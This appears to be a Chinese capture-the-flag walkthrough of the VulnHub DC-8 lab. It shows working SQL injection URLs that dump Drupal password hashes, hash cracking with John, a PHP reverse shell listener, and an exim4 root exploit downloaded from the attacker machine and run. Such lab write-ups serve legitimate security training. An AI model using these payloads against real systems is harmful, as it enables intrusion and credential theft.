靶机DC-8下载地址: https://download.vulnhub.com/dc/DC-8.zip
环境:VMware 15虚拟机软件
DC-8靶机IP地址:192.168.220.156
Kali的IP地址:192.168.220.155
DC-8靶机与kali都以NAT模式连接到网络,查看kali的IP地址:192.168.220.155
ip addr
使用nmap工具扫描192.168.220.0/24网段,查找存活主机,发现靶机dc8的IP地址:192.168.220.156
nmap -T4 -sP 192.168.220.0/24 -oN nmap220.sP
扫描dc8靶机开放的端口,发现已开放22(SSH)、80(HTTP)端口
nmap -A -T4 192.168.220.156 -p- -oN nmap156.A
使用whatweb指纹工具查看网站,发现使用Drupal CMS搭建的网站
whatweb http://192.168.220.156/ >> dc8-whatweb.txt
cat dc8-whatweb.txt
访问靶机网站
http://192.168.220.156/
点击网站欢迎页面左侧栏“Details”,发现地址栏出现页面id值,怀疑存在注入点,这里可以使用sqlmap工具自动跑注入出自己想要的数据,我手动注入!懒得跑sqlmap了
找到注入点测试后,发现是数字型注入,且当前页面使用的数据表只有一列,开始爆库
http://192.168.220.156/?nid=1’ --+
http://192.168.220.156/?nid=1 order by 1 --+
爆出当前使用的数据库名
http://192.168.220.156/?nid=-1 union select database() --+
爆出数据库中的表名,找到一个users表应该是我们想要的表
http://192.168.220.156/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆users表中的列名,发现有name、pass列
http://192.168.220.156/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
爆出users表中name、pass列的数据,爆出两个用户名admin和john及密码加密后的密文
http://192.168.220.156/?nid=-1 union select group_concat(name,':',pass) from users --+
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
将用户名和密码密文保存到dc8-hash.txt中
vim dc8-hash.txt
用户名有一个john,可能是要john工具爆破密码,这里直接使用john爆破,使用john的默认字典,爆出john的密码,admin的密码没有爆出
john dc8-hash.txt
john/turtle
使用john用户登录网站,成功登入,发现Contact Us 页面可以修改内容,修改此页面并写入php反弹shell代码
http://192.168.220.156/user/login
GETSHELL
代码写入保存后,kali监听4567端口,等待shell,在Contact Us页面随便输入信息点击Submit后,查看kali已得到shell
http://192.168.220.156/node/3
nc -lvvp 4567
python -c 'import pty;pty.spawn("/bin/bash")'
使用find命令查找具有suid权限的命令,找到一个exim4命令,exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限
find / -perm -u=s -type f 2>/dev/null
查看exim4当前版本号
/usr/sbin/exim4 –version
查找exim的漏洞攻击脚本,找到46996.sh脚本文件
searchsploit exim
将46996.sh拷贝到本地并改名,并在kali开启http服务
cp /usr/share/exploitdb/exploits/linux/local/46996.sh getShell.sh
cat getShell.sh
python -m SimpleHTTPServer
在靶机上将getShell.sh脚本文件下载到靶机本地,并给脚本赋予执行权限
wget http://192.168.220.155:8000/getShell.sh
chmod 777 getShell.sh
根据脚本提示,执行脚本文件并添加命令参数,执行后获取到root权限,并找到flag.txt文件
./getShell.sh -m netcat